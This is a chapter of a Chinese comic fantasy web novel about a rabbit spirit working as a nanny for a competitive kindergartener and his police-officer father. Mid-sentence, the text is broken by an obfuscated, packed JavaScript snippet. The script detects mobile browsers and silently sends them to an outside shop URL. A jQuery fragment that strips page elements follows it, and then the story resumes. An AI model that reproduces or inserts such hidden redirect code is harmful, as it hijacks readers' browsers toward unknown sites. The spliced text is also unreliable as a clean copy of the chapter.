清晨的第一缕阳光,慵懒地透过玻璃,洒在厨房干净的台面上。
一日之际在于晨,白沛源向来不懈修炼,早早就从床上爬起来,借着初阳之灵气,呼吸吐纳,复习功法。此时早已练功完毕,开始准备早餐。
早餐食谱同样来自于神通广大的白池。作为一名小有名气的网红,他的粉丝群体庞大,遍及男与女,老与幼,人与妖……
当然主要还是人,毕竟能拿到官方担保,办理身份证实名注册的妖族还是少,大多数妖都没法发言,只能顶着游客号随便刷一刷,也不能发言这样子。
白沛源面试前,白池就替她问了群里的粉丝朋友,要来了这一行的各种秘籍宝典,也算是为白沛源打好了地基。
‘接下来,就看我的啦!’
白沛源巧劲儿一使,软糯金黄的鸡蛋饼在空中画出一道优美的弧线,稳稳的落在了盘子上。
“阳阳,早饭好啦!”
谢之阳听见声音,放下了手中的儿童牙刷,直视着镜中的自己。
‘很好,今早的洗漱也是我自己完成的。接下来就是按照原计划,一步步走下去,甩开保姆,独立生存。为了,为了,那个最终的目标——’他右手握紧成拳,45°角望向天花板,陶醉在自己的想象中,然而嘴角的牙膏沫将这一幕彻底变为情景喜剧。
“阳阳,快出来吃饭,要迟到了!”白沛源明亮活力的声音穿透墙壁,打断了谢之阳没今早的清晨自我激励环节。
他略带些不满地回应了一声,爬下了自己的专属增高凳。走出去没两步,又赶紧回来把凳子收到一边放好,沾在洗手池内的牙膏也擦干净。
他仰着脖子艰难地环视一圈,很好,卫生间被自己保持得很干净,充分证明我就是小文老师说的那种,自己的事情自己干的优秀小孩!
饭桌上,白沛源已经摆好了早餐,金灿灿的鸡蛋饼,配上鲜嫩的青菜和清甜的豆浆。她看着谢之阳啪嗒啪嗒,穿着拖鞋从卫生间跑了出来,刚抱他上去,就见他熟练利索地自己爬到椅子上,认真大口地吃了起来。
吃过早饭,白沛源拿起谢之阳的卡通书包,带着他锁好门,一回头正好看见谢川泽也穿上了警服正准备去上班。剑眉星目的模样,配上这一身笔挺立体的制服,衬得他仿佛刑侦剧中走出的男主角。
“早上好,谢先生!”
“小白早,阳阳早,今天是第一天,看来你们相处得还算不错?”
谢之阳很酷炫地回了句早,倒是白沛源为了证实自己超高的岗位匹配度,忙说:“我和阳阳目前相处得都还不错呢,我今早做的早饭他全吃光了,看来是很喜欢我的厨艺。”
然后又急忙补上一句:“当然,阳阳也特别自立,穿衣刷牙都是自己完成的!对吧阳阳?”
酷哥阳阳听到夸赞自己,臭屁一点头。
白沛源暗自得意,‘很好,既通过实际案例证明我们相处得很顺利,又在话尾表扬了雇主家的孩子,属于先扬再扬手法,今天也完美践行了《人类社会生活指南》册一·高情商的语言艺术这一条!’
谢川泽欣慰地笑了笑,但心里却嘀咕:单纯的小白啊,你还不知道未来还会有什么风暴呢。
不过这才第一天,毕竟社畜惜社畜,他不想打击这个刚迈入社会,开始打工的女孩子,因此他只是温和说到:“今晚局里有工作安排,会加班到很晚,放学接他回来后就麻烦你带着他一起玩。幼儿园一般不会给孩子布置太多作业,今天是周五,你带着他做点他喜欢的活动就好!”
白沛源活力满满地一点头,完全没料到几个小时后的她将变成怎样一副心累模样。
白沛源的工作其实很简单,做完早饭,送谢之阳到幼儿园后,她彻底闲了下来。
慢悠悠地走在各回各家的家长们中,听着他们东拉西扯地闲聊,自己仿佛也开始真切感受到了这个世界。而在她晚上带着谢之阳回家,看到小区附近公园里悠闲散步,或是锻炼身体的邻居们时,这种真实生活的感觉再一次涌上心头。
她兴奋地晃了晃谢之阳的小手,小孩子的手软软柔柔的,捏在手里仿佛一块弹弹的嫩豆腐,“阳阳,我们吃过晚饭来这里玩一会好不好?”
谢之阳眼神一闪:‘机会来了!’
他抬头看着白沛源露出一抹狡黠的笑:“好呀!”
两个人各怀心思,急匆匆地跑回家,风卷残云般消灭了晚餐,下楼来到了公园。白沛源正想汇入健身步道上慢悠悠绕圈的人流,冷不丁却叫谢之阳拽了个趔趄。她停下来,垂头看向身旁的小豆丁。
“怎么了?”
“小白姐姐,我们不要和他们一起走,慢吞吞的,一点也不好玩,咱们去那边的游乐场玩吧?”谢之阳眨巴眨巴眼睛,用撒娇突破小白姐姐的心防。
此时白沛源尚未了解眼前的小家伙的危险之处,因此她毫无察觉,一口应下:“好呀,那阳阳带着姐姐去好不好?”
谢之阳点点头,暗自得意:Game,start!
于是他拽着白沛源,撒腿就开始里狂奔。
白沛源一时没反应过来,叫他拽得东倒西歪。为了躲避散步的人群,她不得不十二万分注意,同时还得分心别叫谢之阳甩开她跑掉,一时间倒有点左支右绌。
“阳阳,别跑这么快呀,当心点儿!”
谢之阳显然是经常来这边玩,对道路熟悉得很,“哪儿快了,小白姐姐,听叔叔说你总陪着家里的小孩子玩,难道你们比赛跑步的时候也这么快就认输嘛?我可一直都是幼儿园跑步比赛第一呢。”
‘认输?!!!’
虽然大众认知中,兔子是种可爱而无害的小动物。然而实际上,与她们软萌的外表相反,兔子性格十分倔强,脾性也很大,有些硬核狠兔甚至将自己受伤的肢体撕咬掉。
白沛源从小听长辈们讲那些代代相传的修仙故事,鱼跃龙门的传奇,神秘莫测的术法,翻手为云覆手为雨的能耐……
于是在别家兔只知吃喝玩乐的年纪,白沛源就树立起了我要成仙的远大理想,将毛发梳成了“大山做题家”模样,并在所有情况下都力争上游,包括但不限于长辈们逗趣的“看看那只小兔能先吃完这盆草?”“看看谁能先睡着?”这种毫无意义的“竞争”。
就这样,白沛源在成为第一,干掉第二的路途上越走越远,从竞争“谁第一个吃完草”的嚼嚼者,进化为同辈中首个化形的佼佼者!
这一路上的艰辛让她成长许多,但唯一不变的只有那力争上游的胜负欲!
而众所周知,这种类型的人格,是最受不得挑衅的。
于是,在谢之阳那一张口的瞬间,她的战斗模式瞬间开启,隐形的兔耳陡然直立——“输掉,那我今天就让你连裤子都输掉!”
于是她一把抱起谢之阳,将他安放在怀里,撒腿开始狂奔,一路狂风扫落叶般,所到之地无不惊起一阵阵惊叹。
一个路过的小学生此刻正举着自己的小天才电话手表讲话:“好啦,我知道啦,我这就回家。”
突然一阵旋风刮过,卷起的灰尘让他不得不将胳膊抬高阻挡视线,小心别迷了眼睛。等他缓过神来,就只看见一个抱着孩子的背影,正以时速不知多少,但反正肯定是超速没跑了的狂野步伐向前狂奔。
“喂喂?小刚,怎么不说话?你到哪了?”电话那头的女人高声问着
“没事,妈妈,我只是……”
小刚咽了口吐沫,干巴巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791498|210399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地回答:“只是,标记了一辆载具。”
小刚会不会因为晚回家挨批不得而知,但谢之阳小朋友确是实实在在地要吐了。
“哕”的一阵干呕声从游乐场门口的大树下传来,谢之阳眼冒金星,胃里翻腾。
“哎呀呀,真是抱歉阳阳,姐姐从小就比较要强,你千万别跟姐姐计较哈。”白沛源心虚地拍着他的后背安慰。她本来就爱争强好胜,仙考悲惨下岸后更是听不得什么输啊,失败之类的敏感词汇,这下难免应激了。
“哕!我,我才没有输,一会我们接着比拼。”
犟种谢之阳强撑着放狠话:“有本事,我们一会去比比爬单双杠,还有大转轮!”
“哼,比比就比比!”白沛源一秒上钩。
于是几分钟后,游乐场的老老少少们只见一个瘦小却矫健的身影在单双杠间闪赚腾挪,来回翻转,时而高抬腿,时而侧踢腿,动作难度五颗星,观赏程度十颗星。
旁边还有个小豆丁张着嘴巴,难以置信地低声呢喃:“怎么会?咋可能?”
身侧一个穿着白色汗衫的大爷悻悻地拎着水杯毛巾,朝旁边的老伴不服气地说:“我早说了,就该禁止奥运冠军参加社区级比赛!”
白沛源最后一个翻身,从单杠上一个托马斯全旋,灵巧地蹦了下来,“怎么样,心服口服了吧?”
谢之阳大大失算,没料到这个看起来弱不禁风的新保姆姐姐居然是个隐藏的大佬,差点将嘴撅到天上,“哼,这才哪到哪,那边还有更难的攀爬架,大转轮,咱们挨个比过去!”
于是这场不知道怎么开始的比赛,就这样在两个谁也不肯服输的犟种之间继续开展了下去,一直持续到了天色彻底暗淡。
稀稀落落的星星挂在夜空上,白沛源斜眯着气喘吁吁的谢之阳,“小样,天也暗了,快回家吧。”
谢之阳微微躬身,两只黑黢黢的小手撑在膝盖上,几点汗珠滴落在地上,“回家就回家,不过回家之后还得比上最后一场——枕头大战!”
白沛源轻哼一声:“说比就比!”
房门在身后缓缓地关上,楼道内的昏黄灯光随着门缝逐渐退走,渐渐消失在了这寂静的屋子中。
门内的两个人并不动作,谢之阳缓慢而深沉地开口:“你真的准备与我一战吗?”
白沛源也低沉着声音答道:“当然!我们之间的战争,在分出胜负之前,绝无停止的可能!”
二人对视一眼,无形的火花噼里啪啦地爆开。
谢之阳抢先一步,窜到客厅的沙发前,飞速捞起所有的抱枕,朝着白沛源扔去,“看招!”
白沛源眼见失了先机,并不气馁,果断跑进自己的卧室,拿出所有的枕头和毛绒玩具,干净利落地展开反击。
“神仙保姆,白小兔!”白沛源双臂在空中抡过一圈,金鸡独立,摆出一个超高难度施法姿势。
“放马过来吧,看我,无敌超人,谢之阳!”
霎时间,小小的三居室中。
被单与枕头一色,卫生纸共垃圾袋齐飞。
惊声尖叫,响穷卧室之滨;枕头砸人,命断沙发之浦。
‘啪叽!’
“哈我砸中你了!”
“小小顽童岂敢虚言诈我,乱我军心!”
“你们俩个还不住手!”
酣战中的二人并未在漫天飞舞的枕头中看到来人的模样,只是异口同声问道:“谁啊?!”
“是我!正义警察,谢川泽。”来人把拍到脸上的枕头狠狠一甩,大步走来,一把揪住二人的领子,平静中带着一丝咬牙切齿地回答:“你俩被捕了!”
二人四脚在空中乱扑腾,闻言双手无奈一摊:“这下完啦!”